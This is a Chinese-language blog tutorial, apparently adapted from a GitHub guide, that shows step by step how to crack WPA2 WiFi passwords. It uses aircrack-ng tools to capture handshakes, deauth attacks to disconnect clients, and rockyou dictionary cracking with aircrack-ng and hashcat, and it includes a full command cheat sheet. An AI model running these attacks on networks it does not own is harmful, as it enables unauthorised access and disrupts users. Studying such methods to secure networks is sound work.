本文差不多是https://github.com/brannondorsey/wifi-cracking的翻译以及一些遇到的坑。
前言
大家看啊,那WiFi可是电磁波啊,电磁波在空间里传播出来,那方向可是没人能控制的,所以是个无线网卡都能给接收下来……是不是有点像集线器网络下的"混杂模式啊",只不过无线网卡并不需要加入到网络中就能"监听"呢。
好吧,是加密的,但是,咱都是懒懒的,万一要是设置了123456789这样的弱口令,就比较容易抓到握手包然后暴力破解啦。
就让小土豆俺来手把手教你破WiFi密码吧!
准备工作
你需要一个装有Debian系的Linux发行版,Kali最好啦;
你需要安装好aircrack-ng;
sudo apt-get install aircrack-ng
你需要有个支持监听模式的无线网卡,最好还是那种和aircrack兼容性比较好的网卡;
最好再熟悉下Linux的操作
进入监听模式
咱呐,最好选个兼容性比较高的无线网卡,别搞半天进不去监听模式就糟糕了。
首先先看看有哪些无线网卡,我们可以看到无线网卡此时的工作模式是managed
iwconfig
然后列出来哪些网卡是支持监听模式
airmon-ng
如果显示为空白,那么就是你的无线网卡不支持监听模式
俺这里就用wlan1
这个网卡啦(BCM43142实在是大坑),为了避免干扰,我们先关了其他的使用网络的进程
airmon-ng check kill
进入监听模式
airmon-ng start wlan1
之后我们使用iwconfig
来确定进入了监听模式,俺的设备的名字叫做wlan1mon
,可以清楚看到Mode: Monitor
搜寻目标
airodump-ng wlan1mon
咱大概能看到类似下面这样的输出,此次我们的目标是我的新路由器PDCN,我们需要记住BSSID和CH
抓4次握手包
airodump-ng -c 13 --bssid 20:76:93:00:41:DC -w test wlan1mon
其中-c后面的参数代表信道(CH),--bssid是上面记下来的MAC地址,-w后面代表输出文件的名字,我们这里就叫test了。
现在我们只需要等待了,只要有设备连接到WiFi,我们就很有可能抓到握手包,此时右上角大概会显示WPA handshake
什么什么的,如下图所示
这个……万一一直没人连咋办?咱可以想办法让已连接的设备断开连接,之后这个设备肯定会自动连接的,这个时候抓到握手包就可以啦
Deauth加快抓握手包
我们继续观察上面抓握手包的窗口,直到下面STATION出现一个已经连接的设备,这是必然会出现的,然后新开终端,输入如下命令:
aireplay-ng -0 10 –a 20:76:93:00:41:DC -c 00::0C:E7:76:94:03 wlan1mon
其中:-0 10代表我们要发送10次deauth包,-a 代表WiFi的MAC,-c代表客户的MAC
当抓到握手包之后,就可以停止监听啦,按Ctrl + C停止airodump
这个方法可能不好用……
恢复网络
airmon-ng stop wlan1mon service network-manager start
我们的握手包就叫test.cap
啦。
破解密码
抓下来握手包之后,破解密码是个运气和耐心活,咱可以去一些在线网站尝试着破解,或者去淘宝跑。在线破解网站比如说https://www.onlinehashcrack.com/wifi-wpa-rsna-psk-crack.php,https://gpuhash.me/
咱这里选择本地破解啦,首先,需要有个比较好用的弱口令字典,这就要自己看咯;
本地破解有很多工具,其一是使用hashcat,这家伙能利用GPU;我们也可以使用传统的aircrack
Aircrack-ng
下载弱口令字典并破解握手包
curl -L -o rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt aircrack-ng -a2 -b 20:76:93:00:41:DC -w rockyou.txt test.cap
-b代表bssid,-a2代表 WPA2,-w是字典,如果运气好的话……
123456789就是WiFi密码
使用naive-hashcat破解
在使用naive-hashcat破解之前,我们需要先把.cap 文件转换成.hccapx.,可以使用在线转换https://hashcat.net/cap2hccapx/或者使用本地工具,这里就用本地工具啦
git clone https://github.com/hashcat/hashcat-utils cd hashcat-utils/src && make ./cap2hccapx.bin ~/test.cap ~/test.hccapx
之后下载naïve-hashcat
破解
git clone https://github.com/brannondorsey/naive-hashcat cd naive-hashcat curl -L -o dicts/rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt HASH_FILE=test.hccapx POT_FILE=test.txt HASH_TYPE=2500 ./naive-hashcat.sh
HASH_FILE
是转换之后的文件名,POT_FILE
是最后用来保存结果的文件名
我猜你一定会报错的,大概是这样
说了这东西用GPU破解的,自然的嘛…
如果你的英伟达显卡的话:
apt install libhwloc-dev ocl-icd-dev ocl-icd-opencl-dev pocl-opencl-icd nvidia-opencl-icd libxnvctrl-dev nvidia-opencl-dev libgmp3-dev libgmp10-doc opencl-headers
然后重启,之后再运行:
HASH_FILE=test.hccapx POT_FILE=test.txt HASH_TYPE=2500 ./naive-hashcat.sh
如果破解出密码了,程序就会退出,之后看那个text.txt
最后一个字段就是密码
总结
下面是一些常用命令的总结
# 进入监听模式 airmon-ng start wlan0 # 监听 airodump-ng mon0 # 抓握手包 airodump-ng -c 6 --bssid 9C:5C:8E:C9:AB:C0 -w capture/ mon0 # deauth aireplay-ng -0 10 -a 9C:5C:8E:C9:AB:C0 -c 64:BC:0C:48:97:F7 mon0 ########## aircrack-ng破解密码 ######### # 如有需要,下载字典 curl -L -o rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt # 使用aircrack-ng aircrack-ng -a2 -b 9C:5C:8E:C9:AB:C0 -w rockyou.txt capture/-01.cap ########## naive-hashcat 破解密码########## # 将 cap 文件转换成 hccapx cap2hccapx.bin capture/-01.cap capture/-01.hccapx # 用 naive-hashcat破解 HASH_FILE=hackme.hccapx POT_FILE=hackme.pot HASH_TYPE=2500 ./naive-hashcat.sh
参考资料
http://www.aircrack-ng.org/doku.php?id=airmon-ng
https://github.com/brannondorsey/wifi-cracking
最后的感想
好吧,被人抓到握手包是必然的,deauth也是必然的;如果不想被别人破了自家WiFi,那就设置个比较复杂的密码吧,这样暴力破解时间就会指数级上升,很多人就知难而退了。
哎,弱口令真是最大的弱点啊!
备注与更新
macOS自带诊断工具可以做到抓握手包,具体可以参考GitHub的地址